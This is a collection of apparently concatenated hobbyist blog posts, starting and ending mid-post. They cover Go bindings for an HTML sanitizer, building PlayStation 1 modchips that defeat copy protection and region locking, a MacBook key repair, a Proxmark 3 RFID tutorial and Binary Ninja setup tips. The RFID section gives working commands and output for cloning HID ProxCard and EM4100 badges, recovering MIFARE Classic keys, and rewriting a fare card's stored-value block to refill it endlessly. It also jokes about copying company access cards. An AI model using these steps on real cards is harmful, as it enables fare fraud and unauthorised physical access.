        policy := bluemonday.NewPolicy()
        POLICIES[policyId] = policy
        return C.ulong(policyId)
}

func main() {}

And the relevant Python code:

from bluemonday import lib, ffi

class NewPolicy(Policy):
    def __init__(self):
        self._id = lib.NewPolicy()
        
p = NewPolicy()

The strategy here is that I generate a "random" ID using GetPolicyId()  and NewPolicy() and pass it to the Python code. Similarly, when I would want to call a method on the Go struct, I pass the identifier back to the Go code to identify which instance of the struct I would like to use, and use reflection to call the appropriate method based on a string I provide.

These two strategies are not necessarily the best and there may be issues that I haven't encountered yet. For example, the Python side could cause some issues by corrupting the _id attribute or by forgetting to free memory, but I haven't come up with a better solution yet.

If you know better than me please reach out!

The End Result

Originally I hoped to build something on top of lxml's Cleaner module by getting a faster language (maybe Rust) to do the processing and then have lxml do the cleaning. This was honestly never going to work in a reasonable amount of time.

But there was a major breakthrough when a friend showed me the bluemonday library.

bluemonday implements a whitelist based HTML sanitizer built on top of x/net/html, Golang's "HTML5-compliant tokenizer and parser". bluemonday provided a lot of knobs that could be tweaked for very flexible sanitization and was being used on a lot of projects that contained user contributed content.

But no Python bindings... until now!

pybluemonday implements Python bindings to bluemonday using the same techniques I outlined in this post. You can think of it as the advanced summary of everything discussed here.

I built a small benchmarking script to compare the speed of pybluemonday to the standard Python HTML sanitizer libraries and the results were very impressive:

As you can see by keeping all of the processing and sanitization logic within Go, we benefit from significant speed gains.  Essentially we only pass data back into Python when it's ready to use.

This post tackles a lot of the initial difficulties I ran into while writing Python modules in Go. It's not as ergonomic as writing everything in Python but I feel it likely provides an equivalent amount of speed as writing directly in C with much less of the difficulty of writing raw C code.

There may be some memory overhead because the Go runtime is probably statically compiled into the shared object but I think it's a worthwhile trade off.

Additionally I didn't write about the packaging aspect of this but pybluemonday has wheels for all the major targets (Linux, OSX, Windows). This is based off of cibuildwheel and setuptools-golang. Perhaps I will cover how to do this in a future post as it was not trivial to setup.

I hope this post clears up some of the confusion around using Go for Python modules and I hope the process gets easier over time.

When I was young I owned a PlayStation 1 (PS1). It was one of the first, if not the first, game consoles I owned and it had a profound effect on my future.

I can trace the history of how I got involved in computers back to playing and modding video games. While I wasn't smart enough to mod game consoles when I was young, my dad wasn't bad at it. He modded my PS1 to have a little switch in the back that would allow it to play burnt games. They say the apple doesn't fall far from the tree.

Fast-forward to today and I no longer have my original PS1. I remember some games wouldn't load anymore and I had gotten a PS2. So why keep an old console? Turns out the answer is nostalgia and memories. You miss what you don't have anymore.

Recently a friend gifted me a PS1. And so then the journey begins, how do I mod this thing?

If you are looking for them I am selling flashed, prewired modchips.

Playstation 1 DRM

Very simply, the principles behind PS1 DRM work as follows:

1. Sony baked (not the technical term) strings (i.e. SCEA, SCEI, SCEE, or in rare cases SCEW) into official PS1 games in locations which cannot be replicated by a regular reader. This video and this post discuss it reasonably well.
2. The CD drive controller looks for those strings to identify a disc as official. Once the controller decides that the disc is/isn't official, the main CPU reads this decision and acts accordingly.
3. If the string can't be found or is garbled, the PS1 knows the disc isn't an authentic PS1 game. However, because the PS1 needs to account for disc read errors, there's a good amount of leeway in what passes the authenticity check.
4. Because region (A for America, I for Japan, E for Europe, and W for Net Yaroze) as well as authenticity are rolled into one string, Sony kills two birds with one stone here and achieves region locking as well as copy protection.

If you want a real in-depth discussion you can read the original posts by The Old Crow or the No$PSX documentation page or this Modchip FAQ

PSX modchips work by electrically stifling the output originally generated by whatever CD is inside the drive and then injecting a new, faked signal into the CD microcontroller. This causes the PS1 to believe that whatever disc is inside is legitimate and proceed to boot up.

Later on Sony added more complicated checks like:

• Checking for the magic strings during the game instead of at boot
• Changing the overall process to make it more difficult to bypass by simply emitting the correct strings.

However, modern modchips already deal with this. Modchips that work under these updated circumstances are known as "stealth modchips" because the console shouldn't be able to detect them at all.

Existing Modchips

The first "open source" modchip was reverse engineered by a guy named "The Old Crow". Surprisingly, The Old Crow specializes in electronic music synthesizers, not hacking video game consoles. It's from his modchip that most other modchips are derived from in some sense. He originally reverse engineered a commercial PS1 modchip that was designed by a western engineer working for a Chinese company.

Today, there are three main modchips which are still used by the community today.

The modchips include:

• Multimode 3 (MM3)
• Mayumi v4
• PSNee

The three have their pros and cons but generally they can be summarized as follows:

• MM3 is the most common PS1 modchip seen/used today. Its only real downside is that it uses an internal oscillator which can become out of sync with the oscillator used by the CD drive. If this happens you simply need to reboot your console to try reading again.

• Mayumi v4 attempts to use the oscillator used by the CD drive. This reduces the chance of the oscillator sync issue from happening; however, Mayumi v4 is considered a bit difficult to install.

• PSNee is an open source modchip originally written by TheFrietMan. Development on it was later continued by others and it appears to work rather well on all Playstation 1/PSOne models. Based on the code I believe it attempts to infer where the PS1 is in the boot process to begin injecting fake SCEX strings. Unfortunately PSNee is complicated to install. The provided diagrams are atrocious and nowhere near as simple as the available diagrams for MM3 and Mayumi. I worked out the pinout for the Attiny45 but I ended up going with MM3 and Mayumi because it's easier.

Making a Modchip

If you want them I am selling flashed, prewired modchips.

It's generally pretty easy to make a PS1 modchip provided you have the right tools. In this tutorial we will focus on making MM3 or Mayumi v4 modchips.

While I do have an Arduino, I prefer to use the MM3 and Mayumi chips over PSNee. If you want to make a PSNee modchip, you can follow the instructions here to flash the .ino file to your Attiny.

You will need:

• Microchip PIC12F508
• PICkit 3
  • Also download and install MPLAB IPE from the MPLAB X IDE package.
• Some kind of wiring & breadboard to connect the PIC to to the PICkit.
• HEX codes for the modchip of your choice (provided below).

Many tutorials call for the PIC12C508. This is an old model and continuing to use them is unnecessary unless you have them stockpiled. HEX codes that work for the 12C will work for the 12F.

To begin you should first look your IC and determine which leg is which. The leg nearest the imprinted circle is Pin 1. The leg opposite it is Pin 8.

You can plug this into a bread board and then wire it into the Pickit according to the following diagrams. You want to match the following (the rest are unused for now):

• PICKit 1 ⟷ IC 4 (V_PP)
• PICKit 2 ⟷ IC 1 (V_DD)
• PICKit 3 ⟷ IC 8 (V_SS)
• PICKit 4 ⟷ IC 7 (ICSPDAT)
• PICKit 5 ⟷ IC 6 (ICSPCLK)

Once you've properly wired up the chip, connect the PICKit to your computer and start MPLAB IPE. Under Device select PIC12F508.

Go into Settings > Advanced Mode. The default password for Advanced Mode is microchip. I don't recommend changing it, not sure why the option is even available.

Go into the Power tab on the left and enable Power Target Circuit from Tool.

Go back to the Operate tab and hit Connect.

From here download the appropriate HEX code for your chip and console. They are different per console region.

• MM3 for American Consoles
• MM3 for European Consoles
• MM3 for Japanese Consoles

You can also use Mayumi v4 on the PIC12F508 if you choose.

• MayumiV4 for American Consoles
• MayumiV4 for European Consoles
• MayumiV4 for Japanese Consoles

In the Source file, select your hex code.

Hit the big Program button.

You should see something similar to the following text:

2018-06-20 20:48:02 -0400 - Loading hex file. Please wait...
Loading code from /Users/kchung/Repositories/PsNeePy.wiki/hexcodes/mm3/MM3USA.HEX...
2018-06-20 20:48:03 -0400 - Hex file loaded successfully.

2018-06-20 20:48:20 -0400 - Programming...

Device Erased...

Programming...

The following memory area(s) will be programmed:
program memory: start address = 0x0, end address = 0x1e7
configuration memory
Programming/Verify complete
2018-06-20 20:48:25 -0400 - Programming complete

If you'd like, you can hit the Verify button to make sure that your flash was correct. Your output should look something like the following:

2018-06-20 20:50:10 -0400 - Verifying...

Verifying...

The following memory areas(s) will be verified:
program memory: start address = 0x0, end address = 0x1ff
configuration memory
User Id Memory

Verification successful.
2018-06-20 20:50:13 -0400 - Verify complete

From here you can follow online diagrams for soldering your chip to the PSX that you own. I personally used William Quade's excellent diagrams and think you should as well.

Creating A New PS1 Modchip

While looking at all these modchips, I figured it would be nice to read and write Python code instead of Assembly and C code so I started working on porting PSNee to Python.

By using MicroPython and an ESP8266 we can actually create a modchip that we can remotely update and modify through the ESP8266's WiFi.

In the above photo (SCPH-7501), the ESP8266 is on the top left with the headers face up. The wires connect to the headers and route under the CD drive to a breadboard on the bottom right.

The breadboard has wires that are soldered to the correct MM3 points and then labeled with the corresponding pin number. By using this breadboard I can test modchips that I make much faster than soldering to the board over and over again.

My modchip (named PsNeePy) is available on Github:
https://github.com/ColdHeat/PsNeePy

While my test console is quite bad at reading discs and the console rarely boots into games, the modchip does work.

For the most part (ignoring stealth functionality), modchips are known to be working once you reach the black Playstation logo screen as this indicates that the CPU considers the game authentic.

However, because the code is based off an older version of PSNee, stealth functionality does not seem to work on some newer PS1 revisions.

I mostly created this as a proof of concept and I'm unlikely to maintain it very much. While I don't recommend using my modchip, I hope that the community adopts it and helps improve it. Despite being a dead console, the PSX community is fairly active.

With PsNeePy, you can remotely update the ESP8266 over WiFi, debug remotely, and also reset the chip easily. Having spent many hours working on the PS1 at this point, a more modern experience is quite refreshing.

Thanks to an anonymous friend for my PS1, Sharan for fixing my PS1, William Quade for the excellent diagrams, AssemblerGames for having good information despite not accepting me into the forum, and PSXDEV for answering some of my questions.

A friend of mine ran into a problem.

The keys on her Macbook Air started randomly falling off the keyboard! Not only is this a problem, but it seemed to be spreading. Four keys had become loose and were randomly falling off while typing.

This is the story of all about how I saved a friend $200 in Macbook repairs.

TL;DR: Replace scissor switches on the Macbook Air by buying a new keyboard assembly and salvaging keys & switches from the part itself.

The first instinct of most Apple customers is obvious and correct. If you are having problems with an Apple product and you are not sure what to do, go to the Genius Bar. They have the right tools and information to repair their hardware.

For my friend, their solution was to replace the key on the laptop. This worked for about a month before the keys started falling off en-masse.

Going back to the Genius Bar, the recommendation was to replace the entire keyboard assembly (and top assembly) costing about $200. The geniuses did replace the keys but it didn't help. For a four year old laptop, $200 is almost half its value so I offered to help.

Taking a look at the problem, I noticed that a key was prone to falling off if you hit it in a certain corner. If you hit it in the center, the key generally stayed on a little longer and still worked. This is a clue that the underlying key mechanism is still working.

Most keyboards are a very flat plastic circuit with a large dimpled rubber sheet atop it. When you press a key, you're really pressing on the rubber dome underneath the key. This completes a circuit which tells the keyboard's internal micro-processor what key you're pressing. The keyboard then translates this data into some numbers and sends it to your computer. Your computer takes this data and renders the appropriate character based on the numbers received from the keyboard.

If the keyboard circuitry itself is working, why should we have to replace the entire keyboard assembly?

Forming a hypothesis

As with most problems it's useful to root-cause what the source of your headaches is and form a hypothesis. With a keyboard you generally have about 4 potential problem sources:

1. The keyboard circuitry itself.
2. The rubber domes/switches/contact detection method.
3. The parts holding the keycap to the keyboard.
4. The keycap itself.

We know that it can't be 1 or 2 because the button still works.

The rubber domes rarely ever break. They're usually only ever broken because a repair went bad. Usually the fragile little dome gets accidentally torn.

That leaves us with the scissor switches (3) or the keycap itself (4). It really can't be the keycap itself because the Apple Genius supposedly swapped the key.

That leaves us with the scissor switch.

Therefore my hypothesis is as follows:

"Years of typing have worn out the scissor switch such that it is imperceptibly bent. By pushing one corner of the key the opposite corner lifts off of the switch, removing it from the keyboard assembly."

I don't have random Macbook parts lying around. I'm not insane. So to test our hypothesis, we should swap the scissor switch from one key to another.

Most key replacement tutorials don't cover removing the scissor switches because it's not very common. The basic goal is to get under the white plastic switch and flex the switch off of the hooks.

To remove keys along with the switch from the keyboard:

1. Get a plastic blue spudger
2. Lift under the right or left side of the key
3. Insert the key under the scissor switch mechanism (not too far, remember the button dome)
4. Slide down to remove the switch from the bottom metal hook.
5. Repeat steps 2-4 on the opposite side.
6. The key should come off with some light wiggling to remove it from the top hooks.

Do this carefully enough and the entire switch should come off.

To remove the switch you really should use one of those blue spudgers. I personally have an older version of the iFixit Pro Tech Toolkit that iFixit kindly gifted me from a bug bounty. It comes with all the tools you might need to work on tiny electronics. Thanks iFixit!

By swapping the two keys an and their switches we make a great discovery.

The original broken key remains broken in its new home and the working key remains working as well.

Thus our hypothesis is confirmed, the switch is broken somehow.

Replacing the switches

Going to a site like https://www.replacementlaptopkeys.com/ could be the right decision if you're missing a single key. It comes out to $8 for a single key, switch, rubber dome, and shipping.

That could cost something like $25 to replace all four broken keys with no margin for error (e.g a switch breaks when you pull it off).

Instead we can look at the problem more intelligently. For one thing, we really are more interested in the switch than the keycap. The Genius Bar seems to be happy to replace them for free. So how much is just the switch?

Unfortunately it's seemingly IMPOSSIBLE to purchase just the switch. I checked Amazon, Ebay, Alibaba, etc. and I simply could not find anyone selling just the switch.

Okay, next best thing. We can buy the keyboard assembly itself for about $15-$20. What may not be obvious is that it's a full keyboard assembly meaning it comes with the keys, switches, domes, built in.

Now we can replace the switches and keys with our spudgers and have room for error in case we accidentally completely break a switch.

It's not much different removing keys from the new keyboard assembly part. In fact it's a little easier because you are not hindered by the aluminum casing. Refer to the instructions above to get this done.

Effectively the goal is to remove the broken keys+switches from the old keyboard assembly and replace them with new keys+switches from the new keyboard assembly. This should take about 10 minutes if you go slowly. Replacing the entire keyboard assembly will take at least an hour.

Lo and behold! A fully functioning keyboard, for a fraction of the Apple suggested price!

If you have a friend that gives you tech support, be sure to show your appreciation. They can really save you some 💰💰💰

Radio-frequency identification (RFID) is a widely used technology for the tracking and identification of objects that have been "tagged" with small RFID tags. These tags often come in the shape of little keychains, cards, and stickers. They can be seen in many different kind of systems and are often relied upon instead of keys or cash money.

I personally find wireless technologies very interesting and especially love RFID systems so during my research for the HID iClass system it became prudent to buy a Proxmark 3.

Proxmark 3

The Proxmark III is a device developed by Jonathan Westhues that enables sniffing, reading and cloning of RFID (Radio Frequency Identification) tags.

The Proxmark III (PM3) is the defacto RFID research tool. There are other alternative tools but none have the community and prevalence of the PM3. It's capable of reading, writing, and emulating many of the currently available RFID tags. In addition, there is a quiet community forum where some highly-technical volunteers share custom Proxmark firmwares and much needed information about RFID research.

If you are serious about researching RFID systems, you need a Proxmark 3. There's no question about it.

Getting a Proxmark

The Proxmark website lists a few retailers where you can purchase a PM3 but I'll discuss how I got mine and what I paid for it.

Coupon

Sam from Lab401 reached out and offered a coupon code for a Proxmark 3 from their store for my readers!

Use code CHUNG401 for a 50 euros/dollars discount on a cart with a Proxmark 3, MIFARE 4K tags, and Ultralight UID tags.

For one thing, I purchased the RDV2 version of the Proxmark which isn't the open source version but makes some improvements over the initial release. Notably it's smaller, has support for a battery, and uses MMCX cables instead of USB cables.

You can purchase a PM3 from a couple of different sites and I think Rysc Corp is the most reputable in the US but I actually purchased my PM3 from Elechouse in Hong Kong for a total of $248 after shipping. At Rysc Corp a Proxmark (RDV2 or not) costs at least $299 before shipping.

It cost $212.00 for the actual PM3 RDV2 and $36.30 for shipping to the US for a total of $248.30.

Looking back, it's actually possible to save a couple more bucks by going to AliExpress and buying the RDV2 there for about $190 with free shipping or the even cheaper "Proxmark 3 Easy".

The PM3 Easy is a pretty cheap version of the Proxmark that costs about $100 but sacrifices some features:

This is a version intended for the chinese domestic market only, so has a few features removed:

1. AT91SAM7S256 (smaller memory 256kb)
2. Removed lithium battery management and socket.
3. Removed some components such as Relay and the Amplifier
4. Use different antenna connection.
   ~ Proxmark Forums Post by kwx

Overall, the original Proxmark 3 design is obsolete and you should go with one of the newer designs from Elechouse.

Proxmark 3 Setup

There's a number of resources for setting up a PM3 and in terms of hardware it will differ slightly depending on your model.

The original PM3 has USB antennaes that you can detach and reattach at will. You should not do this on the RDV2. With the RDV2 after you connect the MMCX cables, you should leave them attached and screw in the antenna modules into the main body.

I did not do this and one antenna is now hot-glued to the MMCX cable.

Once everything is attached you should follow the PM3 wiki for setting up the PM3 firmware. To the best of my knowledge all released Proxmarks use the same firmware so there shouldn't be much model based difference in terms of software.

I won't get into the software setup too much because it's very involved and I won't be able to do a better job than the wiki. However, I will say that at some point the PM3 changed from a USB interface to a serial interface for performance reasons. The serial interface is finicky and can have problems running in a virtual machine.

If you do decide to use a VM, I've had more success with Linux than Windows and in Windows, for some reason I can't explain, the PM3 client only works when I use the GUI. But at the moment, I use a Windows 7 VM and the GUI as my PM3 interface.

Overall, flashing the PM3 can be an annoying process that you really only want to have to do once or twice.

RFID Technologies

There are a number of RFID authentication technologies common in the US and I've encountered four in my day to day life:

• HID iClass (13.56 MHz)
• HID ProxCard (125 kHz)
• EM4100x (125 kHz)
• MIFARE Classic (13.56 MHz)

We're going to break down the last three because I already covered how to read/write iClass cards.

With some assorted unknown RFID tags and cards we'll try to clone/modify the contents of each. First we need to figure out what technology is behind each card. Generally you can research this information online through serial numbers, manufacturer information, and datasheets.

But with the PM3 you can take a shortcut and run lf search or hf search. These two commands will search for supported RFID tags in the low frequency (125 kHz) and the high frequency (13.56 MHz) range respectively.

HID ProxCard

Let's take a look at the more popular HID ProxCard.

On the front of the card it has some numbers and the words "HID Proximity". With some Googling we can ascertain that this is an HID ProxCard which we can clone with some Proxmark commands.

To start off we can search for a supported tag with lf search:

proxmark3> lf search
#db# DownloadFPGA(len: 42096)
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
  if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
HID Prox TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132
Valid HID Prox ID Found!

Knowing that it's definitely a ProxCard we can upgrade to the HID specific commands. We already know the Tag ID (2004263f88) but we can run lf hid fskdemod to read Proxcards continuously (Push the button on the PM3 to stop scanning):

proxmark3> lf hid fskdemod 
#db# TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132                             
#db# Stopped

This Tag ID is directly encoded from the Facility Code (19) and Card ID (8132). You can use some of the online 26 bit Wiegand calculators online to double check this for yourself.

This effectively means that you only need to know those numbers (which are printed on the card itself) to clone the card.

Most low frequency tags don't have any kind of complex authentication scheme or any protection against replay attacks. It's a simple matter to scan an existing working card and create a clone. With a high powered reader, one can steal RFID tags from multiple feet away.

With the Tag ID in hand, we now need a blank RFID card that we can clone the Tag ID onto. The best card for this is the T5577 which can emulate a variety of low frequency cards including the two being discussed here (HID ProxCard, EM41000).

With the Tag ID in hand and T5577 ready we can clone simply with:

proxmark3> lf hid clone 2004263f88 
Cloning tag with ID 2004263f88
#db# DONE!

Now the T5577 tag should function as an identical clone to the original ProxCard!

In addition to reading and writing, the PM3 is also capable of simulating an RFID tag but it really isn't as intuitive as one would like. You generally need to have a computer of some sort connected to the PM3 and have the ability to run commands. The simulation could be useful to a pentester, but reading and writing is all most people need.

EM4100

The EM4100 cards are not as common as the HID ProxCard but it shows up sometimes and nonetheless the PM3 supports it.

We continue once again with the lf search command:

proxmark3> lf search
#db# DownloadFPGA(len: 42096)
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
  if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
EM410x pattern found:
EM TAG ID      : 8800180E55
Unique TAG ID  : 11001870AA
Possible de-scramble patterns
HoneyWell IdentKey {
DEZ 8          : 01576533
DEZ 10         : 0001576533
DEZ 5.5        : 00024.03669
DEZ 3.5A       : 136.03669
DEZ 3.5B       : 000.03669
DEZ 3.5C       : 024.03669
DEZ 14/IK2     : 00584117128789
DEZ 15/IK3     : 000073016045738
DEZ 20/ZK      : 01010000010807001010
}
Other          : 03669_024_01576533
Pattern Paxton : 2284604501 [0x882C4C55]
Pattern 1      : 4457436 [0x4403DC]
Pattern Sebury : 3669 24 1576533  [0xE55 0x18 0x180E55]
Valid EM410x ID Found!

Knowing that it's a EM4100 we can proceed to the more specific EM4100 RFID commands and read the Tag ID:

proxmark3> lf em4x em410xdemod 1

#db# DownloadFPGA(len: 42096)
#db# EM TAG ID: 8800180e55 - (03669_024_01576533)

And once again with the Tag ID in hand we can write it to a T5577.

proxmark3> lf em4x em410xwrite 8800180e55 1
Writing T55x7 tag with UID 0x8800180e55 (clock rate: 64)

#db# Started writing T55x7 tag ...
#db# Clock rate: 64
#db# Tag T55x7 written with 0xffc62000e20ea94e

Most low frequency RFID tags are child's play to read/write/clone/emulate with the Proxmark 3.

Next we'll take a look at a card that is a little more complicated but ultimately broken, the MIFARE Classic.

MIFARE Classic

The MIFARE Classic is a very popular RFID card that's in many different operations like bus fare cards, laundry cards, or ID cards. They're very widespread and unfortunately, very broken.

We're going to use the high frequency antenna to read our high frequency MIFARE card.

Let's start off with hf search to try and identify our card:

proxmark3> hf search
#db# DownloadFPGA(len: 42096)
 UID : bc 4e a5 35
ATQA : 00 04
 SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
Valid ISO14443A Tag Found - Quitting Search

Unfortunately the MIFARE Card is not quite as easy to clone as a low frequency card. It leverages a simple authentication scheme which prevents us from just cloning the UID.

While we can read certain blocks from the card others are unavailable because of an "Authentication Error":

Successful Block Read:

proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF
--block no:0, key type:A, key:ff ff ff ff ff ff            
#db# READ BLOCK FINISHED                 
isOk:01 data:01 02 03 04 04 08 04 00 00 00 00 00 00 00 00 00  

Failed Block Read:

proxmark3> hf mf rdbl 5 A FFFFFFFFFFFF
--block no:5, key type:A, key:ff ff ff ff ff ff            
#db# Authentication failed. Card timeout.                 
#db# Auth error                 
#db# READ BLOCK FINISHED                 
isOk:00

At first it may seem odd that we can't read all blocks because we have a key but reading the Wikipedia article clarifies everything for us:

The MIFARE Classic 1K offers 1024 bytes of data storage, split into 16 sectors; each sector is protected by two different keys, called A and B. Each key can be programmed to allow operations such as reading, writing, increasing value blocks, etc.

For some reason many MIFARE classic implementations use the default keys so there are a number of applications that test the default keys against a card.

The PM3 features the "Test Block Keys" command which will test the default keys for us:

proxmark3> hf mf chk * ?
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block:  3, key type:A, key count:13
Found valid key:[ffffffffffff]
...omitted for brevity...
--sector:15, block: 63, key type:B, key count:13
Found valid key:[ffffffffffff]

Long story short it looks like we can use the default key of ffffffffffff to read most blocks but not some blocks.

Using the "Nested Attack" we can use our one useable key to identify keys for the other blocks.

proxmark3> hf mf nested 1 0 A ffffffffffff   d
Testing known keys. Sector count=16
nested...
-----------------------------------------------
uid:bc4ea535 trgbl=4 trgkey=0
Found valid key:080808080808
-----------------------------------------------
uid:bc4ea535 trgbl=8 trgkey=0
Found valid key:080808080808
Time in nested: 7.832 (3.916 sec per key)
-----------------------------------------------
Iterations count: 2
|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  080808080808  | 1 |  ffffffffffff  | 1 |
|002|  080808080808  | 1 |  ffffffffffff  | 1 |
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...

I really have no idea how the Nested Attack works and there's not a bunch of information available online about it... but it works. If you want to learn more about the Nested Attack I would probably recommend reading the PM3 source code or some of the original papers detailing the attacks.

Note

In the earlier Nested Attack command it is important to dump the keys to the dumpkeys.bin file with the d parameter to enable the use of other MIFARE Classic commands.

All of a sudden we have a new key: 080808080808. This key allows us to read our secret blocks:

proxmark3> hf mf rdbl 5 A 080808080808
--block no:5, key type:A, key:08 08 08 08 08 08            
#db# READ BLOCK FINISHED                 
isOk:01 data:00 0a 00 00 ff f5 ff ff 00 0a 00 00 05 fa 05 fa

In addition with the dumpkeys.bin file ready we can dump the entire card and load it onto a blank MIFARE card.

proxmark3> hf mf dump 1
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
...omitted for brevity...
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block  0 of sector  0.
...omitted for brevity...
Successfully read block  3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin

With the dumpdata.bin file we can restore this card's contents onto another card with: hf mf restore 1.

However, cloning a MIFARE card is low on the totem pole. With the new keys we have the ability to read and write to the card. Considering it's commonly used as a fare card, it's reasonable to question whether or not the value of the card can be modified.

To start let's look at a partial dump of the card:

bc4e a535 6288 0400 8500 b42e f0bb 6aa8
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000

Completely unintelligible until we use the card once and then dump the cards contents again:

bc4e a535 6288 0400 8500 b42e f0bb 6aa8
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000
3205 0000 cdfa ffff 3205 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000

A single row in the dump has changed from:

4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa

to

3205 0000 cdfa ffff 3205 0000 05fa 05fa

It's not immediately clear but there is definitely a changing value on the card. The simplest assumption to make is that the card is storing its own value and then decrementing the cost of a given transaction.

Knowing our starting value (7.75), the cost of an item (2.25) and the resulting value (5.50) we can grep for these values in hex. To simplify our search we'll just take 75, convert it to hex (0x4b) and then search for the value in the first dump:

4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa

This is a dead giveaway that the card is storing its own value. Especially considering that the following byte is 0x07. Therefore we should be able to increase the value of our card on our own by modifying these bytes.

What's unclear is the meaning of the bytes after our stored value. They don't seem to repeat and they don't seem to be predictable given our two dumps. Being cautious, instead of just replacing our value with ffff it's simpler to fill up our card normally and then reuse that stored value.

Note

A friend pointed out that the b4f8 value and the 4b07 value add up to ffff which pretty confidently say that it is a checksum value that the reader can use to verify that the card's value was successfully updated after a transaction. Thanks Soly!

With our card filled up to 17.50 we can take a new dump and save the results of Block 5 (where the value is stored).

Block 0: bc4e a535 6288 0400 8500 b42e f0bb 6aa8
Block 1: 0000 0000 0000 0000 0000 0000 0000 0000
Block 2: 0000 0000 0000 0000 0000 0000 0000 0000
Block 3: ffff ffff ffff ff07 8069 ffff ffff ffff
Block 4: 4f54 4f54 0050 0082 0136 000b 0000 0000
Block 5: 3211 0000 cdee ffff 3211 0000 05fa 05fa
Block 6: 0000 0000 0101 0000 0000 0001 0100 0000

Now we can endlessly refill our card to 17.50 as follows:

Write Block

proxmark3> hf mf wrbl 5 A 080808080808 32110000cdeeffff3211000005fa05fa
--block no:5, key type:A, key:08 08 08 08 08 08           
--data: 32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa           
#db# WRITE BLOCK FINISHED                 
isOk:01

Read Block

proxmark3> hf mf rdbl 5 A 080808080808
--block no:5, key type:A, key:08 08 08 08 08 08            
#db# READ BLOCK FINISHED                 
isOk:01 data:32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa 

Even if the default keys weren't used, we could sniff the communication between the real reader and the card to ascertain a valid key.

Ultimately as long as we know an existing key, we should be able to use the nested attack to identify other keys to gain read/write access to the card.

Conclusion

Many years of research have gone into the security of RFID card systems and the Proxmark 3 is the best tool for tapping into that wealth of knowledge and learning more about RFID card systems.

I greatly recommend picking up a ProxMark 3 and some T5577 tags if you're interested in cloning your RFID cards and learning more about how these systems work.

It's also useful for converting your company's access control cards into little key fobs 💩

Binary Ninja is the new hotness in the reverse engineering world. It represents a new age of beautiful, programmatic reverse engineering. It's clear that if the IDA Disassembler is going to be the IDE of reversing, then Binary Ninja (or binja as most people call it) wants to be the Sublime Text or Atom text editor of reversing.

I've played with binja a bit and here are some things I've figured out that help me when working with it.

Virtual Environments

Virtual Environments are great, they help you keep your Python modules organized and even let you switch Python versions pretty easily.

If you have the commercial license and leverage the scripting interface it may help to install the binaryninja module in a virtualenv.

You can do that with the following commands with virtualenvwrapper.

mkvirtualenv binja
add2virtualenv '/Applications/Binary Ninja.app/Contents/Resources/python'
workon binja

All of a sudden you're that much more organized!

IPython and Tab Complete

The binja Python console is a vanilla Python console that overrides stdin/stdout/stderr to get the Python output to show up in the binja interface.

For users of binja's commercial license there's little problem with just modifying the PYTHONPATH (like we did before with add2virtualenv) to include the binaryninja Python module and also use IPython.

If you run into issues with IPython calling sys.stdout.flush() and giving an error about _PythonScriptingInstanceOutput, keep reading.

For users of the personal license it's a little more difficult to get IPython working.

Note that right now this trick for IPython will only work on OSX

First you need to modify __init__.py to effectively break the built in Python console while you are using IPython.

OSX users can find the right file here:
/Applications/Binary Ninja.app/Contents/Resources/python/binaryninja/__init__.py

You should now apply the patch here by modifying the last few lines of __init__.py to the following code:

if not sys.stdin.isatty():
	# Wrap stdin/stdout/stderr for Python scripting provider implementation
	sys.stdin = _PythonScriptingInstanceInput(sys.stdin)
